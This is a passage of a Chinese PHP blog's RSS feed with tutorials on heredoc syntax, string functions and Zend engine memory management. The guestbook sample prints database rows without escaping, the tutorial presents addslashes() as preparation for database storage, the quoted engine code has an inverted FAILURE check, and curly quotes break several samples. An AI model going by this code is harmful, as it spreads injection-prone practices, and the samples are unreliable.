$rs=mysql_query(&#8220;select * from gbook&#8221;,$db);<br />
while($row=mysql_fetch_row($rs))<br />
{<br />
echo &lt;&lt;&lt; eod<br />
&lt;table width=&#8221;99%&#8221; border=&#8221;1&#8243; cellspacing=&#8221;0&#8243; cellpadding=&#8221;0&#8243;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[0]&lt;/td&gt;<br />
&lt;td&gt;$row[1]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[2]&lt;/td&gt;<br />
&lt;td&gt;$row[3]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
eod;<br />
}<br />
?&gt;</p>
<p>&lt;&lt;&lt;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。</p>
<p>淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？</p>
<p>居然不提。愤怒！ <span id="more-497"></span></p>
<p>淡水河边看的书上叫它文档句法,又称定界符.它的语法是&#8221;&lt;&lt;&lt;&#8221;。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格.</p>
<p>字符串的操作</p>
<p>1. 字符串的表现形式</p>
<p>在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即：</p>
<p>单引号</p>
<p>双引号</p>
<p>定界符（heredoc syntax）</p>
<p>看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线&#8221;\&#8221;.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。<br />
让我们定界符吧。它的语法是&#8221;&lt;&lt;&lt;&#8221;。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如：</p>
<p>&lt;?php<br />
$str= &lt;&lt;&lt;EOD<br />
Hello, this is an example for HEREDOC Syntax.<br />
Please attention to it.<br />
EOD;<br />
echo $str;<br />
?&gt;</p>
<p>注意，这里的提供的标志符是EOD，中间的是字符串。</p>
<p>2. 字符串的特别之处</p>
<p>从一个例子开始。</p>
<p>假设里你有很长的一段字符串，比如一段话。几个月后，你发现你的需求改变，需要在这段话的某个位置插入一个变量。这个时候如果重新用字符串符肯定是相当复杂的。那么有没有其他的方法呢？请放心，PHP已经考虑到这一点了。那就是花括号的应用。</p>
<p>对于PHP，它一般会按照如下规则解析：</p>
<p>如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。例如</p>
<p>&lt;?php<br />
$beer = &#8220;Heineken&#8221;;<br />
echo &#8220;$beer&#8221;s taste is great&#8221;; // works, &#8220;&#8221;" is an invalid character for varnames<br />
echo &#8220;He drank some $beers&#8221;; // won&#8221;t work, &#8220;s&#8221; is a valid character for varnames<br />
echo &#8220;He drank some ${beer}s&#8221;; // works<br />
echo &#8220;He drank some {$beer}s&#8221;; // works<br />
?&gt;</p>
<p>看看第3，4行。第三行的$beer&#8221;s其实是$beer 后加“‘s”。因为这里的“’”对于变量命名来说是一个无效字符。但是第4行的$beers就不一样了。所以$beers是无效的。<br />
除了上面的,你还会注意到地5，6行的${beer}以及{$beer｝。对于PHP来说它们都是合法的。</p>
<p>但是你必须注意一点，${beer}以及{$beer｝的$和｛必须是紧挨的。不然｛就会当成｛字符看待了。</p>
<p>3，字符串的常用操作。</p>
<p>我想这是令我们异常激动的一个话题，并且也是非常实用的。</p>
<p>字符串的函数比较多，我们还是介绍一部分函数吧。</p>
<p>字符串的整理函数</p>
<p>chop(),其实就是rtrim().当然rtrim()还是可以用的</p>
<p>ltrim(),去掉字符串左边的多于空格。</p>
<p>trim(),这个比较比较简单，就是把字符串左右2边的空格都给删除。</p>
<p>字符串的格式化输出</p>
<p>实用HTML格式化的。nl2br().即在字符串的新一行前插入&lt;br&gt;.</p>
<p>&lt;?php<br />
echo nl2br(&#8220;foo isn&#8221;t\n bar&#8221;);<br />
?&gt;</p>
<p>上面的字符串会分2行显示，如果把此函数去掉，就只在一行上显示了。</p>
<p>打印输出的格式化。</p>
<p>PHP支持print()函数，它和echo一样，唯一的差别就是print()返回一个整型值，一直为1。除了print(),还有printf()和sprintf(). 写到这里，你肯定会想，怎么和C一样呢。它们的工作方式一样，差别是printf()将结果输出到浏览器，而sprintf()这是输出到变量。</p>
<p>看看它们的定义吧。</p>
<p>int printf ( string format [, mixed args [, mixed ]] )</p>
<p>string sprintf ( string format [, mixed args [, mixed ]] )</p>
<p>改变字符串的大小写。</p>
<p>strtolower将字符串变为小写</p>
<p>strtoupper将字符串变为大写</p>
<p>ucfirst将字符串的第一个字符大写。</p>
<p>ucwords 将字符串中的每一个单词的第一个字符变为大写。</p>
<p>格式化字符，以便存储。</p>
<p>其实就是为了替换引号，反斜杠，NULL等，因为它们有的时候不适合于很多场合，比如存储到数据库。为了达到目的，addslashes是一个不错的选择，它使用反斜线引用字符串。为了在显示数据，需要在之前调用stripslashes，否则反斜杠会显示出来的。</p>
<p>字符串比较</p>
<p>strcmp,strcasecmp,strnatcmp,有时间再查一下</p>
<p>字符串长度请调用strlen.</p>
<p>字符串连接与分割</p>
<p>explode类似于C#里的Split函数。例如：</p>
<p>&lt;?php<br />
$str = &#8220;Is yours name reilly?&#8221;;<br />
$var=explode(&#8221; &#8220;,$str);<br />
echo $var[0];//输出：Is<br />
echo $var[1];//输出:yours<br />
?&gt;</p>
<p>implode()和join()提供的功能一样，正好与explode()相反，它们将多个字符换合并起来。</p>
<p>strtok()和split类似，但是它一次只取出一个。</p>
<p>为了取得子字符串，调用substr()吧。</p>
<p>查找字符串中的字符串</p>
<p>可以调用strstr(),strchr(),strrchr()以及stristr().记住，strchr()是strstr()的别名，查找第一次出现的地方。strrchr()，查找最后一个字符串出现的地方。</p>
<p>stristr()和strstr()的区别是前者不区分大小写。</p>
<p>查找字符串的位置可以使用strpos()以及strrpos().</p>
<p>替换的话，调用str_replace()以及substr_replace().</p>
<p>以上介绍都是最常用的，如果想得到更多字符串的函数以及函数的信息，参考PHP的函数文档。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%B8%B8%E7%94%A8" title="常用" rel="tag">常用</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用 (2010年05月23日)">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途 (2010年05月23日)">eAccelerator与memcache的区别与用途</a> (2)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理 (2010年07月26日)">Ajax的工作原理</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeefangeredoc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>深入探讨PHP中的内存管理问题</title>
		<link>http://www.5bay.cn/network-programming/peeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/peeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:15:34 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[扩展函数]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=495</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/peeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 内存
　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句&#8221;"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如&#8221;char *str = &#8220;hello world &#8220;;&#8221;这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。
以下为引用的内容：
　　{
　　char *str;
　　str = strdup(&#8220;hello world&#8221;);
　　if (!str) {
　　fprintf(stderr， &#8220;Unable to allocate memory!&#8221;);
　　}
　　}
　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。
　　二、 释放内存
　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指&#8221;操作系统&#8221;)：&#8221;我想使用一些内存空间&#8221;。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。
　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序&#8221;存在漏洞&#8221;，因为这部分内存无法再为其它程序可用。
　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所&#8221;容忍&#8221;，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。
　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。
　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。
　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。
　　三、 错误处理
　　为了实现&#8221;跳出&#8221;对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全&#8221;跳出&#8221;一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个&#8221;跳出&#8221;地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该&#8221;跳出&#8221;地址。
　　尽管这个&#8221;跳出&#8221;进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码：
以下为引用的内容：
　　void call_function(const char *fname， int fname_len TSRMLS_DC){
　　zend_function *fe;
　　char *lcase_fname;
　　/* PHP函数名是大小写不敏感的，
　　*为了简化在函数表中对它们的定位，
　　*所有函数名都隐含地翻译为小写的
　　*/
　　lcase_fname = estrndup(fname， fname_len);
　　zend_str_tolower(lcase_fname， fname_len);
　　if (zend_hash_find(EG(function_table)，lcase_fname， fname_len + 1， (void **)&#38;fe) == FAILURE) {
　　zend_execute(fe-&#62;op_array TSRMLS_CC);
　　} else {
　　php_error_docref(NULL TSRMLS_CC， E_ERROR，&#8221;Call to undefined function: %s()&#8221;， fname);
　　}
　　efree(lcase_fname);
　　}
　　当执行到php_error_docref()这一行时，内部错误处理器就会明白该错误级别是critical，并相应地调用longjmp()来中断当前程序流程并离开call_function()函数，甚至根本不会执行到efree(lcase_fname)这一行。你可能想把efree()代码行移动到zend_error()代码行的上面;但是，调用这个call_function()例程的代码行会怎么样呢?fname本身很可能就是一个分配的字符串，并且，在它被错误消息处理使用完之前，你根本不能释放它。
　　注意，这个php_error_docref()函数是trigger_error()函数的一个内部等价实现。它的第一个参数是一个将被添加到docref的可选的文档引用。第三个参数可以是任何我们熟悉的E_*家族常量，用于指示错误的严重程度。第四个参数(最后一个)遵循printf()风格的格式化和变量参数列表式样。
相关博文2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>一、 内存</p>
<p>　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句&#8221;"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如&#8221;char *str = &#8220;hello world &#8220;;&#8221;这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。</p>
<p>以下为引用的内容：</p>
<p>　　{</p>
<p>　　char *str;</p>
<p>　　str = strdup(&#8220;hello world&#8221;);</p>
<p>　　if (!str) {</p>
<p>　　fprintf(stderr， &#8220;Unable to allocate memory!&#8221;);</p>
<p>　　}</p>
<p>　　}</p>
<p>　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。<span id="more-495"></span></p>
<p>　　二、 释放内存</p>
<p>　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指&#8221;操作系统&#8221;)：&#8221;我想使用一些内存空间&#8221;。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。</p>
<p>　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序&#8221;存在漏洞&#8221;，因为这部分内存无法再为其它程序可用。</p>
<p>　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所&#8221;容忍&#8221;，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。</p>
<p>　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。</p>
<p>　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。</p>
<p>　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。</p>
<p>　　三、 错误处理</p>
<p>　　为了实现&#8221;跳出&#8221;对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全&#8221;跳出&#8221;一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个&#8221;跳出&#8221;地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该&#8221;跳出&#8221;地址。</p>
<p>　　尽管这个&#8221;跳出&#8221;进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码：</p>
<p>以下为引用的内容：</p>
<p>　　void call_function(const char *fname， int fname_len TSRMLS_DC){</p>
<p>　　zend_function *fe;</p>
<p>　　char *lcase_fname;</p>
<p>　　/* PHP函数名是大小写不敏感的，</p>
<p>　　*为了简化在函数表中对它们的定位，</p>
<p>　　*所有函数名都隐含地翻译为小写的</p>
<p>　　*/</p>
<p>　　lcase_fname = estrndup(fname， fname_len);</p>
<p>　　zend_str_tolower(lcase_fname， fname_len);</p>
<p>　　if (zend_hash_find(EG(function_table)，lcase_fname， fname_len + 1， (void **)&amp;fe) == FAILURE) {</p>
<p>　　zend_execute(fe-&gt;op_array TSRMLS_CC);</p>
<p>　　} else {</p>
<p>　　php_error_docref(NULL TSRMLS_CC， E_ERROR，&#8221;Call to undefined function: %s()&#8221;， fname);</p>
<p>　　}</p>
<p>　　efree(lcase_fname);</p>
<p>　　}</p>
<p>　　当执行到php_error_docref()这一行时，内部错误处理器就会明白该错误级别是critical，并相应地调用longjmp()来中断当前程序流程并离开call_function()函数，甚至根本不会执行到efree(lcase_fname)这一行。你可能想把efree()代码行移动到zend_error()代码行的上面;但是，调用这个call_function()例程的代码行会怎么样呢?fname本身很可能就是一个分配的字符串，并且，在它被错误消息处理使用完之前，你根本不能释放它。</p>
<p>　　注意，这个php_error_docref()函数是trigger_error()函数的一个内部等价实现。它的第一个参数是一个将被添加到docref的可选的文档引用。第三个参数可以是任何我们熟悉的E_*家族常量，用于指示错误的严重程度。第四个参数(最后一个)遵循printf()风格的格式化和变量参数列表式样。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%89%A9%E5%B1%95%E5%87%BD%E6%95%B0" title="扩展函数" rel="tag">扩展函数</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点 (2010年07月26日)">ajax的缺点</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/peeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP对文本数据库的基本操作方法</title>
		<link>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:56:38 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=490</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法
